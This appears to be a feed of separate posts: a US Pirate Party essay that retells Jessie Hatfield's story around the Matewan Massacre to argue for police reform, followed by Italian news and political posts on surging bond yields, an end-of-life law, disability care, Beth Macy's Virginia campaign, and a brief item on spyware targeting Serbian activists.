Of course, the irony is not lost on you that a Hatfield is one of your, a McCoy, strongest allies.

Cabell sensing tensions rising, asks you and Sid that, if something were to happen to him, Sid would take care of you and your son.

But surely it couldn’t come to that, right?

Well, come Wednesday, May 19th, 1920, this whole things catches up and collapses right in your lap.

Some Baldwin thugs, including Albert Felts, come through town looking to evict miners in the next town over, and hand Sid Hatfield a warrant for his arrest, allegedly signed by a judge in Mingo county.

Cabell, Sid and Sid’s deputy Fred Burgraff met with the thugs on the porch of the Chambers Hardware Store, with both Sid and the agents claiming they had the right to arrest the other.

Eventually, the warrant for Sid’s arrest landed in your husband’s hands. He declares it to be bogus.

And is promptly shot by Albert Felts, firing the gun from and through his pocket.

Then the shooting began in earnest.

When it was all said and done, a total of ten people would be killed from that day. Albert Felts, his brother Lee, and five other detectives from Baldwin-Felts ended up dead. Two miners from Matewan would also be killed in the gunfire.

But the next day, Cabell becomes the tenth death from the Matewan Massacre, the so-called “Battle of Matewan.”

Only 26 years old and you’ve already been widowed. After your husband’s murder in cold blood, you and your child are left alone. Sid, who was in the middle of the whole affair, swears he will keep his promise to your late husband and take care of you and your son.

And he does.

Sid, less than two weeks after Cabell’s untimely death, goes with you via train to Huntington, WV to get your marriage license. You both decided it was best to get some rest in town before marrying the next day. You two check into the Florentine Hotel to rest up for tomorrow’s wedding.

Then, some unexpected visitors.

Huntington Police Officers Messenger and Vernatt arrest and jail you and Sid overnight for “cohabiting while unmarried” and “committing adultery.” Apparently, you both had folks watching your movements.

Specifically, it was Baldwin-Felts spy (and traitor) Charles Lively and Tom Felts, the brother of the two fallen Felts brothers from the Battle of Matewan, who allegedly left the tip to the Huntington PD.

You have a quick trial in the morning, no longer than five minutes, where the judge ultimately throws away the charges and hefty $10 fine after learning of your and Sid’s plans to wed that same day.

Since you’re already at the courthouse, you guys get to knock out what you aimed to do anyways.

Congratulations, Mrs. Hatfield!

Of course, it’s not all sunshine. The Baldwin-Felts thugs haven’t been making your or Sid’s lives any easier since the massacre at Matewan.

In fact, your quick wedding was plenty of ammunition for the smear campaign.

Suddenly, rumors pop up and swirl that Sid himself was the one who shot Cabell, and it was so he could marry you.

But you know that’s not true. That’s all a rumor being spread by the pro-Baldwin-Felts camp and the media rags that support them. No one wants to ever call the Baldwin-Felts guys the bad guys in the paper, but what else could they be?

They’ve been breaking up your fellow West Virginian’s unionization attempts for years, before there was any implication of Bolshevism, and harder and more forcefully once there was that implication, even if the reality on the ground hadn’t changed.

They’ve done all they can to stop our boys from trying for a better life. They came at the behest and in service of the mining companies, and never to the aid of the poor worker doing the job.

Now, because Sid is becoming something of a workingman’s folk hero, they feel the need to discredit and smear his when and where they can.

You know Cabell asked Sid to take care of you and Jack. There was no plot between you and Sid to get rid of Cabell. The imminent danger, brought by the strike breakers, made it necessary to plan for the worst case scenario.

Now, that same camp of strike breakers aims to smear your new husband after making you a widow.

By January 1921, after six months of negative attention, Sid and 17 others are tried on murder charges, all stemming from the so-called “Battle of Matewan.”

All 18 were acquitted.

You are thrilled, and how could you not be? Sid was already a hero to miners across West Virginia (and maybe even nationwide), and now he’s a free man.

“Smilin’ Sid,” as some knew him as; that’s what the United Mine Workers film was called. He even got to be photographed with Mother Jones.

Truth be told, Mother Jones wasn’t nearly as dangerous as the media told you she was, but after seeing how the media talks about Sid, you already knew that.

Life goes on until Sid and his deputy, Edward Chambers, are accused of conspiracy.

In the town of Mohawk in McDowell County, a mining camp was shot up. The local mine guard said the perpetrators were being led by Sid and Edward to force the Mohawk miners to unionize.

Charles Lively, who is something of a double agent as you’d later come to find out, told the police he talked Sid, Edward and the miners into doing something drastic while at a restaurant. This testimony would lead to their arrest.

Union leaders said the story was bull, that the mine guards themselves were the shooters and that the accusations being levels were all to set up Hatfield and Chambers.

A distant cousin of Sid’s, Bill Hatfield, just so happens to be the McDowell county sheriff. He tells you guys that Sid and Edward would have the fullest protection.

Bill, however, would leave town for Virginia the day before he was so-desperately needed.

On August 1st, 1921, Sid Hatfield and Edward Chambers, unarmed with with their wives by the sides, were walking up the steps of the McDowell County Courthouse when several Baldwin-Felts thugs, including Charles Lively, began shooting the two men.

Your husband Sid dies instantly. Edward Chambers is finished off execution style with a bullet to the head from Lively.

You and Mrs. Chambers have both been widowed, and you have been widowed for the second time in 15 months.

None of the Baldwin-Felts thugs are even tried or held responsible for the killings.

All this would lead to the so-called “Battle of Blair Mountain,” the largest labor uprising in United States history, with 10,000 miners taking arms and rising up.

It would finally subside on September 2nd, when U.S. troops came to break it up, and the military veteran miners unwilling to fire on the troops, thus leading to the end of the uprising.

Take a step back, you’re no longer Jessie Maynard-Testerman-Hatfield: you’re you. You are reading about Jessie and the story surrounding her on the United States Pirate Party website, and you remember the point to this.

Protect and serve.

Looking at that story, who was being protected and served? And what?

The people are West Virginia, the miners, weren’t being protected and served. They were being frustrated at every turn when they sought out better working conditions, sometimes by force.

Sid? Sid Hatfield did what he could to protect and serve in his role as Police Chief of Matewan. In fact, Sid did just as much as any police officer could hope to do in protecting his community.

And he was shot for his troubles.

The people who killed police officer Sid Hatfield never were arrested or tried because they claimed “self-defense” against the unarmed Hatfield.

The Baldwin-Felts thugs protected and served, but they weren’t serving the community. They were tasked with protecting and serving the mining company from the community.

Was Jessie protected and served? She was twice widowed at the hands of Baldwin-Felts thugs, and no justice was ever served.

In fact, she herself was arrested in the middle of the story for “cohabiting while unmarried” and “committing adultery.”

So why are you, dear reader, being asked to go through all of this? Why would the United States Pirate Party want this story to be laid out and told the way that it has?

Lesser discussed in our platform is the plank “Police Reform.” In it, we call for things such as the demilitarization of the police, ending qualified immunity and civil asset forfeiture, requiring warrants for all forms of surveillance and end no-knock warrants, and ensuring nobody is put in jail for actions of basic survival.

In the story of Jessie Hatfield, we see many examples of why we call for such measures.

First of all, Sid Hatfield is the lone officer in the story to take on a purely community-based approach to law enforcement. Sid legitimately worked to protect and serve his community from overreaching mining companies and strike-breaking thugs.

And he was killed for his troubles.

Sid and Jessie, two consenting adults about to be married, were arrested in a major invasion of privacy and charge with a crime the state should have no power to enforce. This is a privacy issue as much as it is a policing issue.

Finally, individuals before institutions. Sid was the only person putting the individuals of his community above the institution of the mining industry. The protections of the worker were not kept in mind for the companies or the strike breakers, but was always considered with Hatfield.

Sid Hatfield is, by no stretch of the imagination, what we should be striving for when it comes to policing.

Earlier this decade, you saw anti-police sentiment hit a peak not seen in decades. “ACAB” and “Defund the Police” were rallying cries shouted by those who recognized the injustices perpetrated by modern policing.

And yet, the approach proved to be more harmful than not.

The actual issues of policing were not addressed properly, and instead of getting “defunded,” police departments got massive boosts in funding.

As you can see, the issues observed in the way policing is carried out is nothing new, and complaints of “Police serve capital” is hard to argue when the police act more as law enforcement as opposed to community servicemen.

So I bring you to this: protect and serve.

Was it the community in the story? Only if you’re talking about Sid Hatfield.

Unfortunately, not every officer is Sid Hatfield, nor is every motivation of an officer the same as Hatfield’s.

But Sid Hatfield shows that policing can be done in service of the community. How it ended should not sour the fact that it is indeed possible to how our police protect and serve the community.

The trend in policing we have seen is the militarization of our police forces. We have seen police officers, who are otherwise members of their community, taken out and put into a position to where they are often up against the community, not in support of it.

We have a large number of citizens that don’t trust the police, or are even scared of the police. It is that which we must be tasked with changing as a society.

Instead of calling for their defunding, or even the more honest demilitarization, I’d like to suggest a different rallying call when it comes to policing:

“Bring our police home.”

Bring back the beat cop. Bring back the police officer that walks down the street that you and your neighbors know and see everyday. Bring back the community servant. Per our platform, “Properly train our police forces with regular training in all aspects of the job. This will include but not limited to mental health assessments, first responder medical certification, community policing, & public engagement.”

Are all individuals who become police officers bastards? Of course not. Not everyone who becomes a cop is malicious or an inherently bad person. Hell, I’m willing to say most people aiming to become cops genuinely do so with the hope to protect and serve their community. Some might even see themselves as a Sid Hatfield type figure.

But as long as the policing remains in the shape that it is in, which is a bastardized form of protecting and serving, then the view that “all cops are bastards” will be hard to shake. Until that bastardization is done away with, the stigma of doing a bastard profession will reign true in the eyes of many.

If you truly want our police to protect and serve their community. If you truly want an end to no-knock warrants and the infringement of our privacy. If you truly want to end civil asset forfeiture and qualified immunity (which puts our officers in a position above, not in, the community). If you truly want to demilitarize the police, ending the 1033 Program and discouraging technique sharing between the neighborhood police and the military or federal intelligence agencies.

Then look at the positive role models history provides us. Look not at how it ended but what it was when it was happening.

If you truly want our police to protect and serve the community like they claim to, then I invite you to say it with me:

Bring our police home.


uspirates.org/through-the-spyg…

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Bond in caduta libera da Berlino a Tokyo: rendimenti ai massimi da decenni


Il Bund tedesco tocca il livello più alto dal 2011, il decennale giapponese supera il 3% per la prima volta in trent'anni e il Treasury sfiora i massimi dal 2023. Inflazione, petrolio e debiti pubblici spingono le Banche Centrali verso nuovi rialzi.

I titoli di Stato hanno continuato a perdere terreno oggi sui principali mercati, prolungando una fase di vendite che ha riportato il costo del debito pubblico ai livelli più alti da decenni. Il rendimento del Bund tedesco a dieci anni, riferimento per l'intera area euro, è salito di 4 punti base al 3,378%, un livello che non si vedeva dal 2011. Il titolo decennale giapponese si è attestato al 3,016%, dopo aver superato martedì la soglia del 3% per la prima volta dal 1996. Negli Stati Uniti il Treasury decennale ha toccato il 4,814%, il massimo dal novembre 2023, mentre il Gilt britannico ha raggiunto il 5,25%, il livello più alto dal 2008, prima di un lieve arretramento di entrambi.

Poiché prezzi e rendimenti dei titoli obbligazionari si muovono in direzioni opposte, l'aumento dei rendimenti riflette la pressione delle vendite sul mercato. Alla base della nuova ondata di vendite c'è il ritorno delle pressioni inflazionistiche, alimentate dagli scontri tra Stati Uniti e Iran nello Stretto di Hormuz, che stanno spingendo al rialzo il prezzo del petrolio. Il rincaro dell'energia si somma alle preoccupazioni, ben più radicate, per i conti pubblici e l'elevato livello del debito nelle principali economie, dagli Stati Uniti al Giappone fino alla Francia.

La giornata dei rendimenti

I titoli di Stato tornano ai rendimenti di un'altra epoca


Il Bund tedesco, il decennale giapponese, il Treasury americano e il Gilt britannico hanno toccato oggi livelli che non si vedevano da anni, in un caso da trent'anni. Il grafico mostra a quale anno riporta ogni mercato.

Grafica di FocusAmerica

Tocca o passa il mouse su un Paese per il dettaglio. La barra parte da oggi e torna indietro fino all'ultimo anno in cui il rendimento era altrettanto alto.

Il calendario della stretta
Tre banche centrali, tre riunioni in un mese
I mercati si preparano a una serie di rialzi dei tassi a settembre, una prospettiva che penalizza i titoli obbligazionari.

Il carburante delle vendite
L'inflazione dell'eurozona riparte, spinta dall'energia
Variazione annua dei prezzi ad agosto 2026. Gli scontri tra Stati Uniti e Iran nello Stretto di Hormuz stanno facendo salire il prezzo del petrolio.

Le Banche Centrali tornano verso la stretta


I mercati si preparano intanto alla possibilità di una serie di rialzi dei tassi nel corso del mese, una prospettiva che tende a penalizzare i titoli obbligazionari. Il presidente della Federal Reserve Kevin Warsh ha adottato toni restrittivi nel discorso di Jackson Hole della scorsa settimana. I contratti future attribuiscono ora a un rialzo dei tassi americani a settembre una probabilità compresa tra il 60% e il 70%.

La Banca del Giappone, che si riunirà il 17 e 18 settembre, potrebbe a sua volta aumentare i tassi per sostenere uno yen in forte calo. Nell'eurozona l'inflazione di agosto è salita al 3,3%, dal 2,9% di luglio, mentre i prezzi dell'energia sono aumentati del 14,3%. Dopo i dati pubblicati martedì, i mercati considerano ormai scontato un rialzo di un quarto di punto da parte della Banca Centrale Europea, che dovrebbe portare il tasso al 2,5% nella riunione del 10 settembre.

La tensione si è trasferita anche sui mercati azionari. I principali indici americani hanno chiuso in calo per tre sedute consecutive, mentre le Borse europee e asiatiche hanno perso terreno. Le vendite arrivano dopo un anno di forti rialzi, che aveva spinto numerosi listini sui massimi storici sull'onda dell'entusiasmo per l'intelligenza artificiale, nonostante un quadro geopolitico sempre più instabile.

Il peso del debito


"I fondamentali dei mercati sono un po' più fragili di quanto siano stati finora", ha dichiarato a "Squawk Box Europe" della CNBC George Maris, direttore degli investimenti e responsabile globale dell'azionario di Principal Asset Management. "E se il costo del denaro, il costo del rischio, aumenta, è proprio quello che stiamo vedendo con il rialzo generalizzato dei rendimenti".

Maris ha indicato nel debito pubblico uno dei principali fattori di vulnerabilità. "Guardate i livelli del debito nel mondo: sono stratosferici e continuano a salire. Le soluzioni per affrontare il problema non sembrano a portata di mano. Non vedo da nessuna parte la volontà politica di intervenire e penso che questo sia un bel problema".

"Il fatto che tutto questo stia accadendo in una fase di solida crescita economica globale, mentre i livelli del debito continuano ad aumentare, significa che ci troviamo in una posizione più precaria nel caso di uno shock macro economico", ha aggiunto Maris.


Rendimenti ai massimi da decenni, torna l’allarme sul debito globale


Le vendite di titoli di Stato si sono intensificate oggi sui principali mercati, spingendo il costo del debito di alcune delle maggiori economie mondiali ai livelli più alti da decenni. Il rendimento di un indice Bloomberg sul debito pubblico globale ha raggiunto il 3,72%, il livello più alto dalla metà del 2008.

Il rendimento del Treasury decennale americano, il principale riferimento per il mercato obbligazionario mondiale, è arrivato fino al 4,798%, il massimo dal gennaio 2025, mentre quello del trentennale si è portato intorno al 5,27%. In Giappone il decennale ha raggiunto il 3% per la prima volta dal 1996, mentre il quinquennale è salito al record del 2,26% e il biennale all'1,81%, il livello più alto da trentuno anni. Nel Regno Unito il rendimento del Gilt decennale ha toccato circa il 5,25%, il massimo dal 2008, mentre quello del trentennale è salito ai livelli più alti dal 1998. Il Bund tedesco decennale è arrivato intorno al 3,35%, il massimo da quindici anni.

A spingere i rendimenti sono stati sia i timori per la tenuta dei conti pubblici sia la ripresa degli scontri diretti tra Stati Uniti e Iran attorno allo Stretto di Hormuz, che ha fatto risalire i prezzi dell'energia e riportato l'inflazione al centro delle preoccupazioni degli investitori. Il Brent si è portato così intorno ai 92 dollari al barile e il West Texas Intermediate intorno agli 88 dollari, mentre il gas naturale europeo ha raggiunto i livelli più alti da circa 3 anni e mezzo. Rispetto ai livelli precedenti al conflitto, il Brent resta quasi il 30% più caro e l'aumento dei prezzi di alcuni carburanti raffinati è stato ancora maggiore.

Mercati obbligazionari

Il debito costa come non accadeva dal 2008

Una nuova ondata di vendite ha spinto i rendimenti dei titoli di Stato ai livelli più alti da decenni. A spingerli sono i timori sui conti pubblici delle grandi economie e lo shock energetico dello Stretto di Hormuz.

Grafica di FocusAmerica

Rendimento del debito pubblico globale
3,72%

Lo dice l'indice Bloomberg sul debito pubblico mondiale: è il livello più alto dalla metà del 2008, quando la crisi finanziaria stava per travolgere i mercati.

IIl costo del debitoTitoli IILo shock di HormuzHormuz IIIInflazione e tassiPrezzi IVDebito e precedentiDebito

Per ritrovare rendimenti così alti bisogna tornare molto indietro


Ogni barra parte da oggi e torna indietro fino all'ultima volta in cui quel titolo ha reso così tanto: più la barra è lunga, più il record è storico.

Nella stessa giornata il trentennale britannico è salito ai livelli più alti dal 1998, il quinquennale giapponese ha toccato il record del 2,26% e il trentennale americano si è portato intorno al 5,27%.

Dallo Stretto di Hormuz passa meno di un quarto del petrolio di prima


Prima del conflitto da qui passava circa un quinto del petrolio consumato nel mondo. Il traffico non si è fermato del tutto, ma le spedizioni restano fortemente limitate.

IRAN ARABIA SAUDITA EMIRATI OMAN IRAQ Golfo Persico Golfo di Oman Stretto di Hormuz

La rotta delle petroliere attraversa un passaggio largo una quarantina di chilometri nel punto più stretto, tra Iran e Oman. Le alternative via terra hanno capacità limitata e costi più alti.

−77%
Il crollo dei transiti tra l'ultimo trimestre del 2025 e il secondo trimestre del 2026, secondo le stime dell'agenzia americana per l'energia.

Brent
92 $
al barile, il riferimento per il greggio europeo

West Texas
88 $
al barile, il riferimento per il greggio americano

Rincaro
+30%
quasi il 30% in più rispetto ai prezzi precedenti al conflitto

Il gas naturale europeo ha raggiunto i prezzi più alti da circa tre anni e mezzo e per alcuni carburanti raffinati il rincaro è stato ancora maggiore.

L'inflazione non scende e i mercati si aspettano tassi più alti


L'indice PCE di fondo, che esclude energia e alimentari ed è la misura seguita con maggiore attenzione dalla Federal Reserve, resta da mesi ben sopra l'obiettivo del 2%.

In rosso la parte d'inflazione che supera l'obiettivo del 2% fissato dalla Federal Reserve.

Area euro, agosto
3,3%▲
Era al 2,9% a luglio. A spingerla è stata soprattutto l'energia.

Area euro, inflazione di fondo
2,4%▼
Esclude alimentari ed energia ed è invece scesa.

La probabilità che i mercati assegnano a un rialzo dei tassi della Fed a settembre

Le scommesse sono cambiate dopo le dichiarazioni del presidente della Federal Reserve Kevin Warsh. Nell'area euro i mercati considerano ormai quasi certo un altro aumento dei tassi da parte della Banca Centrale Europea.

Dietro i rendimenti c'è un debito che nessuno riesce a ridurre


Nelle grandi economie avanzate il debito pubblico vale ormai più di quanto il Paese produce in un anno.

La linea tratteggiata segna il 100% del prodotto interno lordo: in rosso la quota di debito che lo supera. Il debito giapponese prosegue oltre la scala.

Che cosa è successo ai mercati dopo gli shock del passato


Variazione dell'indice S&P 500 nei dodici mesi successivi all'evento. Su oltre trenta shock dal 1940 l'indice ha chiuso in rialzo nel 65% dei casi: le eccezioni sono state le grandi interruzioni delle forniture energetiche.

Fonti: Bloomberg, Energy Information Administration (Short-Term Energy Outlook, agosto 2026), Bureau of Economic Analysis, Eurostat, CME FedWatch, Carson Group. Mappa: Natural Earth. Dati aggiornati al 1° settembre 2026.

La scommessa sui tassi e il problema del debito


I mercati hanno cominciato a scommettere su una risposta più aggressiva delle Banche Centrali. Dopo le dichiarazioni della scorsa settimana del presidente della Federal Reserve Kevin Warsh, gli operatori attribuiscono una probabilità di circa il 65% a un rialzo dei tassi già a settembre, contro circa il 40% una settimana prima. Nell'area euro, intanto, i mercati considerano ormai pressoché acquisito un altro aumento dei tassi da parte della Banca Centrale Europea.

A rafforzare queste aspettative sono arrivati martedì i nuovi dati sull'inflazione dell'area euro: ad agosto il tasso annuo è salito al 3,3%, dal 2,9% di luglio, soprattutto per effetto dell'energia. L'inflazione di fondo, che esclude alimentari ed energia, è invece scesa al 2,4%.

Rendimenti obbligazionari più elevati si traducono in mutui e prestiti alle imprese più costosi e aumentano gli oneri sostenuti dai governi per rifinanziare il debito. Il Segretario al Tesoro Scott Bessent ha però minimizzato il problema. A margine della riunione dei Ministri delle Finanze del G20 ad Asheville, in North Carolina, ha detto alla CNBC che quello americano rimane il mercato obbligazionario con la performance migliore al mondo, ricordando che il mese scorso Fitch Ratings ha confermato il rating AA+ sul debito federale.

Steve Englander, responsabile della ricerca sui cambi del G10 di Standard Chartered, ha osservato invece che essere il migliore non significa necessariamente andare bene e che il problema dei deficit riguarda ormai molti Paesi. Secondo Englander, la pressione al rialzo sui rendimenti potrebbe proseguire lungo tutta la curva, alimentata dai sei mesi di conflitto e dalla sentenza con cui il 20 febbraio la Corte Suprema ha dichiarato illegittimi i dazi imposti in base ai poteri di emergenza economica. La decisione, secondo la sua stima, ha eliminato circa il 40% delle entrate aggiuntive che Washington prevedeva di ottenere attraverso quelle tariffe.

Le stesse forze che spingono verso l'alto i tassi americani agiscono anche altrove. In molte economie avanzate, deficit crescenti, debito elevato e un'inflazione ancora persistente hanno rafforzato il timore che i governi non siano più in grado, o non abbiano intenzione, di rimettere in ordine i conti pubblici. Il debito federale lordo degli Stati Uniti ha superato ad agosto i 40.000 miliardi di dollari, oltre il 120% del prodotto interno lordo. In Francia il debito pubblico supera i 3.500 miliardi di euro e si colloca intorno al 117% del PIL, mentre quello giapponese rimane superiore al doppio delle dimensioni dell'economia.

A questo si aggiunge l'ondata di obbligazioni emesse dalle aziende tecnologiche per finanziare infrastrutture e sistemi di intelligenza artificiale, che aumenta la concorrenza per i capitali degli investitori. È "una questione globale", ha spiegato al New York Times Peter Schaffrik, strategist di RBC Capital Markets a Londra: secondo lui serve un fattore capace di imporre disciplina ai governi e quel ruolo sarà probabilmente svolto dallo stesso mercato obbligazionario.

In Europa la Francia è tra i Paesi osservati con maggiore attenzione dagli investitori, in vista delle elezioni presidenziali della primavera 2027. I mercati restano scettici sulla capacità dei principali candidati alla presidenza di presentare programmi credibili per ridurre il debito, mentre la tradizionale reputazione dei titoli francesi come porto relativamente sicuro si è deteriorata al punto che durante l'estate i loro rendimenti hanno superato quelli degli equivalenti titoli italiani.

Nel Regno Unito i rendimenti riflettono anche le preoccupazioni per i conti pubblici e l'attesa per le scelte del premier Andy Burnham, alla guida del governo dal luglio scorso. Secondo il Guardian, Burnham starebbe valutando una legge destinata a facilitare il ritorno sotto controllo pubblico delle società di servizi in difficoltà. Le tensioni si sono fatte sentire anche sull'azionario. Wall Street ha aperto in calo martedì e i principali indici sono rimasti in territorio negativo nelle prime ore di contrattazione, penalizzati dall'aumento dei rendimenti e del petrolio.

Hormuz, inflazione e precedenti storici


Quanto possa durare l'effetto di uno shock di questo tipo resta materia di dibattito. In un'analisi pubblicata da The Motley Fool su Yahoo Finance, Sean Williams riprende i dati raccolti da Ryan Detrick del Carson Group su oltre trenta shock di mercato dal 1940. In media, lo S&P 500 guadagna il 3% nell'anno successivo all'evento e chiude in rialzo nel 65% dei casi. Le eccezioni, osserva Williams, riguardano però soprattutto le grandi interruzioni delle forniture energetiche. Nei dodici mesi successivi alla crisi di Suez del 1956 e alla chiusura del canale, l'indice perse quasi il 12%, mentre dopo l'embargo petrolifero arabo del 1973, il calo fu del 35%.

È proprio il precedente energetico a rendere particolarmente delicata la situazione nello Stretto di Hormuz. Prima del conflitto attraverso questo passaggio transitavano più di 20 milioni di barili al giorno di petrolio greggio e altri liquidi, pari a circa un quinto del consumo mondiale. Il traffico è però già diminuito drasticamente: secondo la Energy Information Administration statunitense, nel secondo trimestre del 2026 i flussi sono scesi in media a 4,9 milioni di barili al giorno, rispetto ai 21,6 milioni dell'ultimo trimestre del 2025. Lo Stretto non è quindi completamente privo di traffico, ma le spedizioni restano fortemente limitate.

Anche negli Stati Uniti le pressioni sui prezzi non riguardano più soltanto l'energia. L'indice PCE di fondo che esclude le componenti più volatili come proprio l'energia ed il cibo e rappresenta la misura dell'inflazione seguita con maggiore attenzione dalla Federal Reserve, è aumentato a luglio del 3,3% rispetto a un anno prima. Era al 3,3% anche a giugno, dopo il 3,5% di maggio e il 3,3% di aprile: livelli ancora nettamente superiori all'obiettivo del 2% della banca centrale.


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Il Veneto ha approvato la nostra legge sul fine vita. La quarta regione a farla, dopo Toscana, Sardegna ed Emilia-Romagna.

Continueremo a batterci finché questo risultato non sarà raggiunto in tutta Italia.
Chiedi anche al tuo Consiglio regionale di fare lo stesso: associazionelucacoscioni.it/la…

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A Pietralata, a Roma, nel racconto di quanto accaduto rischia di scomparire proprio Bianca: aveva cinque anni, era una bambina ed è una vittima.

Questa vicenda mostra due fallimenti che si intrecciano: un sistema che troppo spesso lascia le famiglie sole nella gestione della disabilità grave e un racconto pubblico che, proprio perché Bianca era disabile, rischia di ridurre la sua morte a una generica “tragedia familiare”.

La sofferenza dei genitori va compresa, ma non può cancellare lei. E dire che una famiglia fosse “seguita” non significa necessariamente che fosse davvero sostenuta: servono assistenza domiciliare adeguata, sostegno psicologico, interventi di sollievo e servizi continuativi.

Una famiglia non può sostituirsi allo Stato: assistere una persona con disabilità grave non può dipendere solo dalle energie, dal tempo e dalle risorse di chi le sta accanto.

Servono più sostegno, più tutele e più servizi. E serve anche cambiare il modo in cui raccontiamo queste morti.

Bianca era una bambina: la sua morte non può essere trattata come una fatalità.

#Disabilità #Welfare #Caregiver #Pietralata #Diritti #EuropaFederale #Volt #VoltItalia #VoltEuropa

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14 students and opposition politicians targeted by spyware in Serbia


EDRi member SHARE Foundation has confirmed that at least 14 people in Serbia were targeted with advanced spyware since the beginning of 2026 – the largest documented wave of such surveillance in the country to date. Those targeted include members of the student movement, activists, a member of parliament, and a local councilor, all from opposition parties. The timing the of spyware attacks coincides with the local elections held on March 29, 2026.

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Beth Macy, l'anti-Vance democratica che corre per il Congresso in Virginia


L'autrice di "Dopesick" corre per la Camera in un distretto solidamente conservatore e propone una lettura dell'Appalachia opposta a quella di JD Vance.

Beth Macy, 62 anni, autrice di Dopesick, l’inchiesta sulle responsabilità di Big Pharma nella crisi degli oppioidi da cui è stata tratta una serie Hulu premiata agli Emmy, si è candidata alla Camera con il Partito Democratico nel sesto distretto della Virginia, uno dei più conservatori dello Stato. Il Washington Post la descrive come una sorta di anti-Vance. Macy e il vicepresidente JD Vance sono cresciuti in due cittadine dell’Ohio distanti circa 100 chilometri, Urbana e Middletown, entrambi in famiglie segnate dalla povertà. E tutti e due hanno raccontato l’Appalachia nei loro libri, arrivando però a conclusioni molto diverse.

Vance lo ha fatto con Hillbilly Elegy, il libro che lo ha consacrato come voce della Rust Belt e che attribuisce un forte peso alla responsabilità individuale nel destino delle comunità più povere. Macy, dopo quasi quattro decenni da cronista del Roanoke Times, ha affrontato lo stesso mondo nel memoir Paper Girl, pubblicato lo scorso anno, offrendo una lettura quasi opposta: maggiore attenzione alle cause strutturali della povertà e alle responsabilità delle istituzioni.

Il distretto in cui si sta candidando Macy è una fascia di montagne e valli grande come il New Jersey, da Winchester a nord fino a Roanoke a sud, che il Cook Political Report classifica come "solidamente repubblicano". Il deputato uscente Ben Cline, in corsa per il suo quinto mandato, nel 2024 ha battuto lo sfidante democratico di 28 punti, ottenendo un risultato migliore di Donald Trump, che nello stesso distretto aveva vinto di 24 punti. "So che le sue posizioni liberal piacciono ad alcune parti della base democratica, ma paragonarla a JD significa suggerire che il suo messaggio possa vincere qui", ha detto Cline al quotidiano della capitale. "Ma qui non passerà".

Più soldi di Cline e una tesi opposta a quella di Vance


Al 15 luglio Macy aveva raccolto 1,7 milioni di dollari, contro gli 1,4 milioni di Cline, secondo il Virginia Public Access Project, superando la rivale nella raccolta fondi per il terzo trimestre consecutivo. Quasi tutto il denaro ricevuto da Macy proviene però da singoli donatori, mentre Cline ha ottenuto più di 400 mila dollari da comitati repubblicani.

Macy aveva già attaccato duramente JD Vance in un saggio pubblicato sul New York Times nel settembre 2024, poco prima della sua elezione alla vicepresidenza. Lo aveva accusato di alimentare la paura nei confronti degli immigrati e di aver voltato le spalle proprio a quelle istituzioni pubbliche che lo avevano aiutato a uscire dalla povertà. Macy sottolinea di aver beneficiato lei stessa dei Pell Grant, le borse di studio federali destinate agli studenti con minori disponibilità economiche, e attribuisce molte delle difficoltà dell’Appalachia a forze esterne che agiscono sulla regione da decenni: dalle aziende farmaceutiche che minimizzarono il rischio di dipendenza degli oppioidi alle politiche commerciali che, a partire dal NAFTA firmato da Bill Clinton, avrebbero favorito il trasferimento delle fabbriche all’estero.

La sua campagna cerca di presentarsi ora come pragmatica e capace di parlare oltre gli schieramenti tradizionali. Macy propone di affrontare quello che definisce il “disastro dell’immigrazione” garantendo al tempo stesso un trattamento umano dei migranti e percorsi chiari verso la cittadinanza, sostiene il Medicare for All, vuole aiutare gli agricoltori eliminando i dazi e propone una maggiore tassazione dei miliardari. Allo stesso tempo prende le distanze sia dall’ascesa dei socialisti democratici sia dall’establishment del Partito Democratico. “Vengo da una prospettiva da democratica di montagna della vecchia scuola: dobbiamo rendere il posto sicuro e proteggere i lavoratori”, ha detto al Washington Post.

Macy conduce la sua campagna con l’approccio della cronista: porta con sé taccuino e penna e annota le storie delle persone che incontra. C’è il familiare morto giovane dopo aver rifiutato due trapianti perché gli organi provenivano da donatori vaccinati contro il Covid, l’agricoltore che non riesce più a permettersi il diesel per il trattore a causa dell’aumento dei prezzi provocato dalla guerra in Iran, lo sceriffo che fatica a ricevere le chiamate di emergenza perché nella sua contea esiste un solo ripetitore. “Non vinceremo questa cosa senza incontrare le persone sul terreno”, ha detto durante una raccolta fondi vicino a Harrisonburg.

La lettera accanto al nome


Robin Sullenberger, per vent’anni supervisore della contea di Highland, la meno popolosa della Virginia e schierata con i repubblicani in tutte le elezioni presidenziali dal 1936 ad oggi, ha riassunto al Washington Post il principale ostacolo che Macy deve affrontare: “Moltissime persone votano soltanto in base alla R o alla D. Semplicemente così”.

Kristen McConnell, avvocata di Clifton Forge specializzata in assistenza sanitaria e disabilità dei veterani, descrive lo stesso fenomeno da un’altra prospettiva. Temi come l’accesso alle cure, gli asili nido e salari dignitosi, osserva, raccolgono un consenso molto più ampio delle divisioni di partito. Ma quando quelle stesse proposte vengono associate ai democratici, una parte dell’elettorato conservatore tende immediatamente a considerarle “socialismo”.

Il Washington Post descrive così il paradosso della candidatura di Macy. Alcuni repubblicani hanno letto i suoi libri, ne apprezzano il lavoro, la considerano credibile e condividono persino buona parte della sua analisi dei problemi economici e sociali della regione. Eppure intendono votare per Ben Cline, anche quando ammettono di conoscere poco il deputato uscente o la sua attività al Congresso.

È in questa rottura tra stima personale e fedeltà di partito degli elettori che si gioca gran parte della difficoltà della sfida di Macy. Nel sesto distretto il suo racconto dell’Appalachia è familiare a molti e viene spesso riconosciuto come autentico. Ma trasformare quella vicinanza in voti significa convincere una parte dell’elettorato a separare il giudizio sulla candidata dall’appartenenza politica indicata sulla scheda. In un distretto dove l’identità repubblicana è radicata da generazioni, è probabilmente questa, più delle singole proposte, la barriera decisiva da superare.

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